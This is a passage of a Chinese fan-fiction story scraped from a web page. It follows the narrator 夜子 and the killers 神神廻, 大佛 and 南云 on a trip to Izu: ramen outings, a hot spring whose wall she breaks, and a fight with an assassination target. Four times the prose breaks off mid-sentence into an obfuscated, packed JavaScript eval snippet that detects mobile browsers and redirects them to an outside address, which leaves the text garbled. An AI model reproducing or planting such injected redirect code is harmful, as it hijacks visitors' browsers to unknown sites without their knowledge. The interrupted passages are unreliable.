;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15164480|163021||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 熟稔地坐到他旁边。 “你在看什么?” “待会儿要走的路线。” “我也想看看可以吗?” “那你看呗。”他撇了我一眼,伸手想把手机递过来。 我摇摇头凑近他一点:“用不着这么麻烦,你拿着好了,我就看看。” 扭头,他的鼻尖和我之间只相距一个手掌的距离,因此那骤然收缩的瞳孔和他微微的后退被我尽收眼底。 糟了。 “对不起啊,我是不是压到你头发了?”赶紧移远一点查看。 我很喜欢神神廻的头发,所以千万别弄坏了啊! “呃,那倒没有。”他轻描淡写说道。 “那就好。”我立刻恢复了原位。 “你这人啊……唉,没什么,继续看吧。” 8. “您订阅的用户豐受‘全东京最好吃的100家拉面’有一则更新。” 手机弹窗跳出来一则通知。 这是……? 我下意识和神神廻对上了视线,他轻咳一声,不得不开口解释:“这是一个网络美食家,我就随便看看……他的博客里正好有提到伊豆的推荐拉面。” 真的假的!这么巧!这不就不用担心吃什么了吗? 我笑逐颜开用力点头:“那就去吃他推荐的拉面吧神神廻先生!” 不知道为什么,他对我如此应和的反应略微吃了一惊,仿佛在他预料中我绝对是会捣乱的那个。 “好、啊不,你都不知道是什么拉面呢就答应了?” “我又不挑食。”我理直气壮地反问他道,“何况是你信任的用户,我觉得不会有问题吧?” “真是怪了,怎么这种事情我还会有点感动。” 他大概没察觉自己嘴角挂上一个稀奇的笑容,语气也没什么起伏,不过手指却在屏幕上飞快地点了起来,向我介绍起豐受之前在伊豆留下的拉面测评。 我自然是很高兴地听着,毕竟每个看起来都很好吃嘛。 9. 直到大佛起床,这场有关拉面的安排会议也就此告一段落。 大佛睡醒的时候,会像少糖一样不自觉地哼哼唧唧,我推开房门时她正眼神失焦地看着我,头发乱糟糟的,迷迷糊糊说了句“早安”。 “早安大佛!神神廻先生正在给你加热早餐,你应该一起床就能吃上热乎的了!” “哦…谢谢……”她揉了揉眼睛,晃晃脑袋准备起身。 我关上门,意识到大佛在刚醒的时候攻击性还没那么强,竟然会对神神廻说谢谢了。 不过走出房门她就完全清醒过来,恢复了往日那种天然黑的气质。 10. 不管怎样,我们好歹是出发了嘛! 11. 昨天的叙利亚战损轿车去哪儿了?神神廻难道会变魔法吗为什么变成了一辆全新的车?真的不是我看错了吗? 黑色轿车表面油漆甚至还闪闪发亮,轮胎上连一粒小石子也没卡着,真的是新车吧! 神神廻看我诧异的表情似乎理解了一切:“我们公司,杀联,昨天晚上派人来换新车的。” 很难忍住不去在新车上摸来摸去确认手感,我咽了口口水,磕磕绊绊地回答道:“那,那你们公司、待遇很好了。” “……当然,我们商店也不错啊……上班可以吃零食聊天什么的。”我也不知道为什么最后要这么毫无意义地补充一句。 27.探店达人vs网红博主 1. 依旧是神神廻开车。 不愧是提前做了路线规划的人,我们几乎一路畅通,来到了当地著名的小吃街。 今天虽然是工作日,可是来往人流依旧十分拥挤。街边两侧广播宣传声如波浪般涌来,我和大佛忍不住左右来回跑动着四处试吃。 只试吃,并不意味着没钱。 我从左边的口袋里掏出一张来自南云的支票,右口袋里翻出来一张更皱皱巴巴的来自岩永东彦的支票。很可惜,我不会用啊。 “神神廻先生在哪里,让他付钱。”大佛手上捧着一盒章鱼烧,而嘴里已经鼓鼓囊囊。 世界上最好的神神廻先生划开人群走出来,把黑色皮夹塞进怀里,额头少见地渗出几滴汗水: “别说得这么理所当然啊,我真搞不懂,明明你工资也没比我少多少啊。” 大佛只是默默转过头。 我顺口问了句,“那是多少啊。”她便仰起脑袋数了起来:“好像是,一个、两个、三个零,四个、五个……” “好的。”我立刻来了一套按揉太阳穴,“不用数了大佛,我知道了。” 相比之下,我的工资数起来就省力多了! 2. 神神廻盯着左边一对使用着儿童防走失绳的双胞胎,右边一条路过系着狗绳的大金毛,沉默不语。 “神神廻先生不要发呆,我和大佛去那里的可丽饼店了。” “神神廻先生不要走丢啊。” 我和大佛接连开口。 “真是倒反天罡。”他看了眼手机,“走慢点,别撞到人了。” 3. 当我们两只手都拿满了的时候,神神廻假咳一声,说是也该坐下来歇歇了吧。 而附近正巧就有一家空闲的拉面店。 『豚豚亭』。 真到店家门口时,神神廻看上去似乎反而有些胆怯,在花坛边假意呼吸新鲜空气。 不进去吗?我用眼神示意他。 他闭上眼深吸一口气,终于推门而入,看样子绝对是想起了什么糟糕的回忆。 大佛抓着我的手臂,凑到我耳边:“豚豚亭的白豚骨拉面最好吃了,而且还要加培根和蒜头。” 这个配方……神神廻在手机上给我展示过。我重重点头:“神神廻先生早上也这么跟我说过哦!看来真的很好吃了!” 大佛愣了下,幽怨地看向神神廻走进店铺的背影,眼神里有满到溢出来的黑气。 4. 餐桌上,隐隐约约能感觉到大佛和神神廻之间更加不对付了。我们点了三份一模一样的白豚骨拉面还有一些其他的小吃,这个流程倒是很是顺手。 “哦对了。”我叫住服务员,“今天不是工作日吗,怎么人这么多呢?” 她在店内环视一圈,笑了笑俯下身告诉我:“因为这两天小吃街在举办美食派对online呀!” 5. 美食派对online,主办方邀请了一群网红博主来品尝小吃街美食,并进行直播间pk赛,并且还为此起了一个相当浮夸的名字——食力派vs流量王! 确实,仔细看过去,我们后方几排座椅旁参差不齐地摆着数架摄像机,安静地进行拍摄;明明是一个人吃饭,却时不时地对着镜头自言自语: 例如什么“扣你几喵姆喵姆~”“诶!小百合酱从来没有吃过这么好吃的拉面耶!”。 我突然想起一个人。 “神神廻先生,你说『豐受』先生会不会也来这里啊?” “……他没那么多粉丝。”他战略性喝了口鲜柠檬水。 “这样啊,我还以为你今天能追星成功了呢。” 我们旁边隔着一块半透明隔板的座位似乎也是一位博主,从声音来看是个大叔,他准备了良久,一直在调控设备。几乎在我们的拉面都上齐了以后,我才听见他正式开机了。 “神神廻先生是个很没品位的人,他爱吃红姜丝。” 大佛双手挡在我的拉面碗前,防备着神神廻突然有什么动作;其实神神廻已然埋头虔诚地开动了,丝毫没注意到她的小举动。 她大概是不满于神神廻今早抢先一步告诉我那个神奇配方,出于奇怪的胜负欲,要在我身上继续扳回一城。 “小心他突然往你碗里下毒。” 眼神追随着碗里旋转的油渍,额外搭配的煎培根静静漂浮在热腾腾的素白汤面,一旁还有一小堆焦香的蒜头碎末,大佛似乎也迟疑了。 “就是像这样吃吧。” 她飞速瞥了一眼神神廻,接着将那堆蒜头戳开平铺于汤面,一筷子夹下去卷着筋道的细面和蒜末进了嘴里,咀嚼的同时,幸福的红晕攀上了脸颊。 有样学样,我也夹起碗里纤长的面条,果然正如神神廻所说的,口感轻盈,又在咀嚼中翻出更深一层的香味。 而神神廻本人正吃得满头大汗,试图将过长的头发全部归至一边,目光不聚焦地时不时滑向隔壁那桌,颇有些坐立不安。 “然后,还剩下这么多的时候。”一碗所剩无几的面条猛地出现在我视野中,大佛强势引走了我的注意力,“更要一口气努力吃完。” “是红姜丝啦。”神神廻侧头看向桌上三小碟,“还剩三分之一的时候要加红姜丝调味,为豚骨汤解腻。” 我就说哪儿不太对劲,大佛的配方和神神廻一开始和我说的,简直截然不同。 红姜丝,色泽鲜艳,被单独盛放在碧色的小碟中,闻起来有淡淡的辣味,有些刺鼻。 说实话,我还没怎么尝试过这东西。所以,要试试吗? 大佛和神神廻交换了一个眼神,霎时间他们身后似乎各自背上了一面旗帜,一方写着“红姜丝”,另一方写着“禁姜主义”,在他俩期冀的眼神中我进退两难。 好在我还是比较聪明的。 “要不……神神廻先生,你把你加姜丝的那份面给我尝尝再说?”我在空中夹了两下筷子,清脆又微弱的“邦邦”两声在三人之间,却响亮得仿佛将军镰蟹挥舞着的钳子。 6. “诶、什么、不……”一时间不知道该把视线放在哪儿,两个人同时死死地看着我那我该看谁啊!“我的意思不是说要多吃一口面占你便宜啦神神廻先生,我就尝尝!” “什么占便宜……”他只是僵硬着微微点头。 我接过他的汤碗,真的很讲究地只夹了两根出来,并且还将其在二人眼前晃了一圈表达我说一不二、真的不会占人便宜这回事。 但是味蕾上同时也传来一种很难以言述的感觉。 我放下碗,重新推回了神神廻面前,然后低头喝了一口自己碗里的面汤。 “大佛,我听你的。” “嗯。”她松了口气,定下心和我同步喝着汤,然后在间隙中微微扬起嘴角,“神神廻先生,你输了。” 神神廻:“?” 7. 好在关于其他的炸鸡块和炸虾排,我们并没有多余的争议。 神神廻抽出一张纸巾擦拭额角和脖颈间的热汗,忍不住倚在靠背上喟叹:“终于按照推荐吃法好好吃上了一回,果然豐受的推荐不会有错啊!” 可惜下一秒他的脸上便晴转多云。 他动作僵硬地转过头,重重放下筷子,正疑惑着他想干什么,只见阴云密布的脸上变幻出一个近似暴力集团的危险笑容,他倏地站了起来。 “你这肥猪再说一遍,你是怎么吃这家店的招牌白豚骨拉面的?” 用力得似乎要把后槽牙给咬碎了。 “哟,这位路人小哥似乎是我肥猪的粉丝哈,直播间的粉丝们我们一起给他问个好!” 我也顺势站起来看了过去,男人油腻的脸肉上沾着几粒米饭,他丝毫没察觉到神神廻身上抑制不住的杀气,不管不顾地对着镜头滔滔不绝: “那我再说一遍,我呢,为了品尝食物中的惊奇与邂逅,开创性地把白豚骨拉面一分为二,一面多吃。” “先把面条捞出来放到盘子里,然后把额外要的米饭一股脑儿泡进面汤搅拌均匀,喏观众朋友们,闻到香气了没?” 他动作浮夸地将头埋进汤碗狠狠扒了两口饭,又一次向镜头展示。紧接着,他做出了更令人难以理解的行为:一碟状似生洋葱块拌胡萝卜丝的不明物体被他全部倾倒进那盘分离 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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实际上我像是被二人夹在当中的,单从气势上,我确实弱了一截。 “你为什么会随身携带着……那种。” “夜子,你的口袋在哪里?” 神佛二人的声音一左一右、一高一低地钻进我耳朵,低沉的,纤细的,迟疑的,急切的。男人和女人的气息混杂,和我的思维团作一团,让我不知道从何说起。 “或许,你们也试一下就知道了。”我只好这样做。 正好一边抓着一人的手,我闭上眼睛叹了口气,将宽大的手和有力的手贴在我的后腰上,然后向下沿着我的腰线,一起伸入了某个口袋之中。 “神神廻先生,别乱动。”他不太适从地想要退缩,但是被我抓着而无法动弹,“别怕啊,你看大佛就很好嘛——刚刚那个怪物的粪是我身上最后一个了,我保证。” “能感觉到吗?”我感觉到左右两具身体都有些发热,“这就是你们想要的答案。” 大佛从我口袋里拿出一颗怪力种子,神神廻张开手则是一个打消果实。 大致向他们交代了下具体功能后,我看他们很感兴趣的样子,便直接送给他们了。 反正在这个地方,我对于普通人来说就如同怪物对于我们怪物猎人,这些道具似乎也没什么实际用处。 “你们随便放在身上,到时候也能随时随地拿出来。我家小后辈拿了我一个闪光球试验过。” 13. 之后就是平凡的游玩,不过今天一整天大概都不算平凡。 因此我们回到旅馆的时候也比预订时间稍早了一点,看到出来迎接的阿力老板,我心中不免又开始期待起今天的晚饭。 “夜子小姐,您今天下午似乎有位访客来过。” “是谁啊?”我有点好奇。 “一个黑头发的、笑得很开心的男孩子。” 莫不是北原?我有什么东西落下在潜水店了吗? 14. …… 不,不是的。 我们回到房间,却发现里层的房门已经被打开了。 “哎呀,这么早就回来了?” “唉,我懂,和神神廻这样无趣的男人一起出门,当然没什么意思吧!” 一个熟悉的轻佻男声,一位话里话外特地的讽刺对象,一种突如其来的出场方式。 ……南云怎么也来伊豆了? 28.原来是温泉旅馆 1. 南云的到来,为不算太平的今日尾声又掀起一道波澜。 几人目光相接的那一刻,说时迟那时快,神神廻那柄羊角锤就已被他握在了手里,不耐烦地一下下敲击着掌心。 “你欢迎我的方式倒挺独特。”南云四两拨千斤般的推开神神廻迎面而来的锤风,向前跳了一步就微微俯身站到我面前,透着笑意的眼眸直直盯着我。 我的目光在这三个人之间流连,感觉欲言又止: 不是吧,异地亲友相见的场合,他们已经熟稔到用不着打招呼了吗?或者说因为是杀手的缘故所以打招呼的方式也比较特别? 不管怎样,现在南云正看着我呢。更何况,我对他的惊喜到来也很兴奋! “你好南云!欢迎来到伊豆!” “说起来你怎么也来了?那天你说在东京还有工作的吧。” “那种工作对我来说什么都算不上啦~”他的目光滑向不知为何还守在我身边的大佛,“更何况,夜子我实在是太想你了!没有你在的东京,我简直度日如年哦!” 这话实在是让我愣了一下。 南云的视线重新系在我身上,漆黑的眼眸重力太强,一旦认真起来就有种要被吸进去的错觉。 ——看吧!这就是我的挚友!这就是我和挚友之间的羁绊啊! “……南云,想不到我的影响力居然对你有这么大。” 我低头掩饰自己压不住的嘴角,但是想想又没什么好掩饰的,于是控制不住地抬头向南云开怀地笑了,迫不及待张开双臂环上他的肩膀:“那真的很巧啊!因为因为!——” “我也超级想南云你啊!” 南云弯腰的时候我抱了上去,脑袋正好凑在他耳边,我满意地摇头晃脑猛蹭一顿表达我的喜悦之情,一边控制着力道拍拍他的背。 “什么意思?”他的话语中似乎有着飘飘然的不确信。 “什么什么意思?想你的意思就是想你啊!”我蹙眉思考着,“你和我们三个都是好朋友,却因为工作原因很遗憾不能一起来玩,想你是很应该的吧!” “其实……” “哦对了!”我为了防止自己遗忘干脆一次性说完,“我前两天在海边捡了贝壳送给你!……你别这么看我啊,我当然不是要只拿这么一点点就和你交换‘朋友费’的。” 我冲去里面房间,一边翻找着贝壳一边嘴里嘟哝:“刚刚还去看了著名的樱花呢,南云你要是也在……” 只是话未说完,神神廻无情的声音便突兀响起: “你连夜子这样的都要骗吗?” 我手里握着刚发现的乳白色贝壳,听到我的名字出现在对话中便下意识回过头去。 他云淡风轻地审视着靠在花架上沉默的南云,而后者只是和我对上了怔忪的视线,一脸无辜的样子。 2. “首先,神神廻先生。”我觉得在弄清南云骗我这件事之前,更重要的是搞懂一个问题,“你说‘夜子这样的’是哪样的?” 神神廻一时没察觉,嘴快地皱着眉头毫不遮掩说了出来:“夜子就是笨蛋那……不是。我不是那个意思。” 紧紧攥着衣角,我沉吟道:“我是不是有点太可怜了?” “夜子,喝水吗?”大佛递过来一杯冰凉的饮用水。我叹了口气,一口气咕咚咕咚灌了下去。 “夜子,抱歉啦~”南云重又恢复了那副轻快的笑脸挠头走来,“虽然我确实也有在想和你有关的事,不过度日如年还是有点夸张了。” “如果是夜子的话,绝对会原谅我的是不是?” 尽管心里有些别扭,我还是撇过头心不在焉地摸了把他的头发:“……你求我呀。” 这家伙一点包袱都没有的,直接90度鞠躬一边抬头盯着我,双手合十放在脸颊边,从一侧露出圆润的眼睛:“那我求你了!” “好吧……你以后别骗我了。”我随口一说,又接下话顺口补充,“不过我可没有骗你,是真的很想念你。” 牵过南云的手,我一根根掰开他的手指,在他掌心塞进那贝壳,随即包裹住他五指让他收好。 接下来就是处理神神廻的问题了。 这就很麻烦了。 因为我是个笨蛋这种话,某种程度上还真反驳不了他。 “神神廻先生,你也求求我我就放过你刚刚的大放阙词。” 3. 神神廻将目光移向他处,语气也变得有些含混其词:“对不起啦夜子,不该把你是笨蛋这种话说出来的……” 其实我心思已经不在这里,但耐不住南云还在拱火:“神神廻你这可不像是在求夜子哦!” “那她就别放过我好了。”他自然地捋了把头发。 4. 好吧,既然你这么说的话,我还偏要放过你了。 5. 实则不然。 我这么说只是因为急着想去泡温泉,然后品尝今天的晚饭了。 没错,这旅馆还是间温泉旅馆,之前错过了开放时间,今天我总想着要试一试啊! 这家旅馆的温泉主打天然疗养温泉,看宣传图还可以边喝茶边欣赏池内布景,感觉很有意思。 我和大佛换上轻薄的浴衣,出门时同样身着墨蓝色浴衣的神神廻与南云二人已经等在门边。 神神廻将一头金发斜扎在脑后,挽起一个松垮的盘发。不愧是金发,这样也很好看呐! 6. 总之,我们就在男女汤各自的隔间分开了。 先是冲澡,把在外奔波一天积累的污垢全部洗净,适应一下室内突增的温度。再是拿上一套简易茶具,准备待会儿要喝的茶,不过要是能带包薯片过去吃就更好了。 最后,和大佛对视一眼,脚尖试探着水温慢慢入水。 雾气蒸腾缭绕,赤红色头绳也渐渐沾染上了水汽变得潮湿黏手,不过还是坚强地高高束起我的头发。顺带一提,大佛的丸子头也是我参考以往给小花编辫子的经验完成的。 她嫌岸边的石块有些硌脑袋,于是就躺在我臂弯里,视线呆呆追随着上空流动不定的雾气。 “夜子,我好像在天堂哦。”她喃喃地说道。 “你说这个烟雾吗?确实很像啊。”我闭着眼舒适得长叹一口气。 我感觉到她扭头看向我的侧脸,便也侧过头看着她的眼睛,她说:“是啊,烟雾也很像呢。” 我和她之间的距离被这雾气模糊了界限,一时间我感觉她离我很远又很近。大概是为了确定这份距离,我伸出一根手指竖在眼前,而后直线平移到大佛鼻尖,凭感觉单眼测着究竟有多少厘米。 “很近呢。” “你在做什么?” “在测量我和你之间的距离。” “是零。”她轻轻鞠起一捧池水浇在我肩头,“我正靠着你的手臂呢。所以是零。” 7. 大佛的双眼是沉沉的漆黑,仿若我曾在电视上看到而惊叹的黑珍珠,而如今竟也染上了温泉水的温热气息。 “黑珍珠研磨出来的神秘墨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15200339|163021||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 水。”我为自己突然而来的文学才华洋洋得意,“大佛,我刚刚想到,可以把你的眼睛比作黑珍珠墨水诶!怎么样,不错吧?” 大佛郑重其事地点点头,随之又近一步回望着我的眼睛,像是在确认什么。 “那,夜子你的眼睛,就是白豚骨拉面。” “诶?什么嘛!”我哈哈大笑,“那还真是很好吃啊!” “因为今天我最喜欢吃的,就是白豚骨拉面。” 8. 聊了一会儿,我也感觉到就这样泡着似乎有些无趣。 “大佛,我看电视剧上说这种温泉其实隔音很差的,旁边说什么都能听见。” “不然我们和南云和神神廻他们聊聊天吧!” 我清了清嗓子,双手作出喇叭状放在嘴边大声喊道:“喂!神神廻先生!南云啊!你们听得见吗!——” ……诶?听不见吗? “夜子,小点声哦~”南云的声音里还带着窃笑的喘息,“神、神神廻他,被你吓得毛巾都掉水里了!” “啊!对不起哦神神廻先生!我下次会注意的!” “宰了你哦你个混蛋!……啊,不是说你夜子。” 大佛用一种怜悯的目光盯着那边的墙面,音量不大却穿透性地传到对面:“神神廻先生应该没学好《如何应对突发情况》。” “所以!你突然喊我们,是想说什么啊夜子!” “只是想告诉你们,温泉泡着很舒服!感觉一身轻松啊!” “这种东西出了温泉不能说吗!?”那是神神廻抓狂的声音。 “哦……那待会儿见吧。”我姑且这样结束了对话。 9. 喝了口茶润润嗓子,我顿时深感备着茶水的重要性。 不过泡温泉的乐子还得继续找。 “大佛,我前两天学会了游泳哦。”我心生一计,扭头自信地看向她,“我们来比赛游泳吧!” 她的眼神先是亮了亮,随即又暗淡下去了:“可是我不会。” “那我教你好了!”我也不知从何涌现的教人游泳的勇气和自信,咧嘴一笑道:“你先看着我游几圈——” 泳池,不,温泉池子其实并不算大,何况在烟雾缭绕中视觉上更显狭窄,不过我大概是被雾气蒸上了头,当即就放下大话,让大佛在一边看好了。 “游泳就是先这样,再这样……” 我举起双手,一个猛子就钻进了水底。温泉水并不像那时的海水一样清澈,能见度不高,因此我的视野和头脑一样混沌。 不过所幸一下就游到了墙边,大佛只在水面上露出半个脑袋给我鼓掌。这更是加剧了我的自信,也导致之后一幕惨剧: 往回游的时候,一个没把控好力道,在某个微微有些弧度的转角,我撞上了坚硬的岩石。 “没事没事,问题不大。”我略显尴尬地靠上石块揉了揉脑袋。 然后石块松动掉下来了。 “扑通。” 就这样沉到了水中,我猜谁也看不出来。 为了缓解尴尬,我深吸一口气,准备重新游回大佛身边。 水流包裹着我的脑袋,心里却想着刚刚的一幕越想越乱:要是被发现了我得赔多少钱?应该不贵吧…… “砰!” 我速度过快,撞上了联通两个池子的那堵墙壁。 这下大概知道,要赔的很贵了。 我咽下口水,目瞪口呆地看着一瞬间轰隆倒塌的墙壁,以及池子对面瞪大了眼睛的神神廻和南云。 29.绝对不能承认 1. 很难说那到底是一种怎样的心情。 男汤那边二人听了我对如此破坏的解释反应各异: 南云趴在倾倒的废墟上笑得合不拢嘴,神神廻则在稍远处环臂淡淡地看着这一切,他叹了口气:“你得庆幸在场没有别人。” 我点头深以为然。 “那现在该怎样呢?”大佛已经上岸,裹着毛巾蹲在池边。 “之前南云给过我一些钱……本来还想好好规划的呢,看来只能用来给旅馆道歉了。”我的目光沉了沉,抬眸看向南云,“这样浪费你给我的钱,抱歉啊……” “如果你还有可以不花一分钱的方法呢?”他却轻快地笑了。 2. “南云。”我紧紧握住他撑在砖块上的手,“南云南云南云南云南云啊!” “在在在——”他同样拉长了语调,眼睛一眨间,戏谑的心思便掩藏进睫毛的阴影,“我们先上岸再说吧。” 硬是不说那到底是什么神通计策。 3. 穿着浴衣蹲在墙角边商量对策,这样看起来确实很做贼心虚。 实际上也是如此。 比起不久前他弯腰求我原谅,现在正是情势直转急下,我俩的位置相互颠倒。 “南云我求你了南云,我绝对会报答你的!”我压低了声音,“你快别卖关子了好不好?” 他有些恶趣味,看到我追随着他的目光焦头烂额便满意地收起那副不正经的脸色,弹了下我的脑门开口: “别急嘛,就算这个方法不行我也可以直接给你买单。” “你先去和老板说下情况,说‘维修的费用会有人出’就好——然后麻烦再给我带一听冰的苏打汽水来房间,我先回房了~” 然后就站起身,摆摆手潇洒地留下一个背影。 大佛指着他离去的方向:“他要住在我们房间吗?” 神神廻无奈地点点头。 4. 心中很是忐忑,不过我还是十分高效地完成了南云交代的几项任务。 在神神廻“你还真给他买啊”的嘟囔声中,我攥着那听渗着丝丝冷气的苏打汽水推开房门。南云就坐在桌边,浴衣松松垮垮,不过我也没有心思计较。 他修长的手指微微施力一扣,银色金属拉环便一下弹开,冷气肉眼可见地飘了出来。 “其实,我这次来伊豆,是有任务在身。” 神神廻咳了一声。 “会长直接指派我去杀一个人,还挺紧急的呢。” “我看你可不像紧急的样子啊!”神神廻终于还是忍不住吐槽。 “然后呢?”我还是没听明白他话里面的暗示。 “我的意思是说,直接让杀联报销啊。”他伸出舌尖舔干净唇角残留的甜腻气泡,“温泉的墙壁损坏,是任务所致。” “这很容易穿帮吧。”神神廻扶额。 “不会。”南云斩钉截铁,“只要这件事真的发生。” “所以你要在这儿把任务对象杀死?”我总算琢磨明白了。 但他神秘莫测地摇摇头,不紧不慢地咬住我的眼神:“不是我哦,是我们才对。” 他要我和他一起,杀一个人。 5. “我还是破财消灾吧。”顿了顿又说道,“虽然不是什么难事,但我家老板不许我杀人。” 而且还写在了家训里的那种。 “就算我帮你保密,他们不知道也不行吗?” “……我不想骗他们啊。” “诶…早知道上次就不给你那么多钱了~”他装作一副很受伤的样子,“本来还想着明天我俩可以一起去约会顺便做个任务来着。” “约会……?” “反正你是在度假,我做完任务也是休假,把假期时间提前一起过也没什么吧。”他伸了个懒腰,“不然明天一天做什么呢?” “你有病是不是。”神神廻抬眼,语气里满是不可理喻,“本来她就是无关人员,甚至连杀手都不是,只不过一个普通游客而已,上头有规定不可以把无关人员牵扯进来的吧。” “哦?不是杀手?”他慢悠悠抹去汽水瓶身结成的冷凝水珠,似乎意有所指,但最终什么也没说。只是笑意盈盈地张口:“那约会呢?只是约会也不行吗?” 大佛扯扯我的袖子,防备地盯着南云。 南云持续加码:“四人约会?” “夜子本来就是和我们一起的。”大佛快速反驳。 “我结账,包括今天的维修费用和明天的所有费用。” “成交。” 大佛和神神廻一齐扭头看向我。 “毕竟老是吃神神廻先生的多不好意思呀……”我挠挠额角。 6. 这场交易来得莫名其妙,对我来说是百利而无一害,不过在每天惯例的商店通话中我却下意识没说出口——可是明明什么都没发生,不是吗? 这突如其来的纠结消散得很快,第二天醒来时我便全心全意准备好接下来一天的旅行。 由于还要照顾到南云的工作,所以本日我们都选择在市区一块游玩,计划是先把南云送去某座大楼工作,然后我们几人在商场逛街。 “所以说为什么还是我开车?”神神廻单手扶着方向盘抱怨道,“这家伙坐在副驾驶,总有种马上我也要工作的错觉。” 南云头靠在车窗边吹风,整个人如同大猫一般躺在座椅里:“错了,你这么想工作才会一直涌上来呢……啊,就是这里吧。”他打开手机,比对着地图标注,随手拿起放在脚边的黑色刀盒叹了一句,“希望别又已经跑了。” 摇下车窗对他挥了挥手,我还是加上一句:“早点回来和我们一起逛街哦南云!” 7. 商场里空调打得很足,我们三人一起逛着仿佛就回到了昨天。 神神廻除了是一名拉面爱好者以外,对咖啡也有着一些心得。我和大佛在美食广场掠夺了一番后,他就带我们坐到一家他看了很久社交平台才选中的咖啡厅。 咖啡很苦,所以我不爱喝。 神神廻像是很可怜我们的模样,咂着嘴给我和大佛一人点了一杯橙汁。 “南云怎么还不结束?”我托腮询问,“神神廻先生你不是说很快的吗?” “唉,快了快了。”他的回答满不在意。 我不由得联想到:“南云该不会被打死了吧!”手指焦急地在玻璃杯边缘滑动,心中只是有了某种不祥的预感。 “那可真是谢天谢地。”神神廻嘴快说了一句,看我一脸震惊便又补充说道,“他肯定又开小差去了,死不了的。” 其实我也知道,以南云的实力,做什么不是轻轻松松,只是心头那种 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15229476|163021||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 挥之不去的寒意却始终解释不清缘由。 找了个理由一个人从咖啡厅走出来呼吸新鲜空气,我坐在路边的长椅上。就只是那么坐着。 坐在另一边的中年男子穿着不合季节的厚衣服,戴着偌大一副墨镜,似乎看我独自发呆便攀谈起来: “小姑娘,看你心情是不是不太好?” “嗯…非要说的话是有一点。” 他只是听到我说感觉到没来由的纠结和质疑,便一个人口若悬河在那儿开设心理讲座了。 被好友抛弃了该怎么办,被世界扔下了该怎么办,活着没有希望了怎么办;看似是好事的大叔在开解过路的年轻人,但实际上是他的自我陶醉,更像是一种他对他自己的说服。 “大叔,你是不是活得很失败啊。”我皱着眉劝他,“这种情况应该去跑个步散散心,然后重新振作起来才对啊!” “而且我也没被抛弃,朋友还在等我,我先……诶,那不是南云吗?” 不远处,南云走出拐角的阴影,柔顺黑发遮掩住了眉目,我拍拍大叔的肩膀:“刚说完我朋友就来了,先走一步哦大叔!” 但手反被那人抓住了。 怎么了? “朋友?”他的脸色一瞬间变得阴仄仄的,“你也是杀联的走狗啊,你这个欺骗我感情的家伙!!” 喂!是你自己自说自话要传授人生经验的啊!什么欺骗感情啦! 几乎是同一时间,他从怀里摸出一柄寒光闪闪的大刀直逼我面门,同时到达的还有南云急切的声音。 “他是我的任务对象,夜子!你注意……” 然而我还没来得及听完,身体就条件反射地动作了:抬手招架住他那只握着武器的手臂,顺势一拳回敬在他下颌。 “咔嚓”。 清脆的一声,有什么东西碎裂了。我知道是什么碎了,但实在不想承认。男人翻着白眼,嘴角溢出鲜血,缓缓脱力倒在地面。 电光火石之间,这一切发生得太突然。南云走到我身边,说完了刚刚那句我没听清的话:“我刚想说,你注意点力道别打死了。” 我看了眼自己的手掌,用力眨眨眼睛确认这么迅速的战斗的确是现实,随即快速俯下身病急乱投医地掏出一瓶回复药灌进那人嘴里,慌张中虔诚地探了探心跳。 “太好了他还活着。”我靠在南云胸前缓了缓,“既然他活了,那南云你就趁机了结了他吧。” “唔。”他诧异地摸了摸我的脑袋,“我还以为你对我们的工作内容很不认同呢,就像坂本一样。” 我不置可否:“因为他太弱了才会死掉的。我只是听老板的话而已。” 8. “其实现在的情况和我昨天邀请你一起杀了他没什么区别吧。” “不,完全不一样!”我瞪大眼睛,“是南云你独立完成任务的。” 绝对要否认这一点,即便我心里也一样这么想。 南云对自己的工作很是熟练了,他把那人拖去某个角落,再出来的时候只有他一个人,干干净净的像刚出门时那样。 “好快。”我称赞道。 “不能让你等久了呀。” “大佛他们也等很久了。” “是吗。”他魔术般变出来了一罐已经不再冰冷的苏打汽水递到我手里,“不过接下来是我和你两个人的时间。” 30.急转直下 1. 南云揪住我的某一缕发尾,随意地晃了两下,然后坐上我原本在长椅上的座位,修长的双腿架在一起,怎么看都很有型。 “我们俩?”我惊讶地伸出一根手指指向自己,再指着对此笑眯眯的南云,“这不行吧,老板说过我不能离开神神廻先生的……啊,虽然现在是稍微走开了一会儿。” “信不过我吗?我认识坂本的时间可比神神廻要长哦。” “倒也不是。”我坐到了他旁边,揭开苏打汽水的拉环,“想知道为什么你要我俩单独走的原因。” 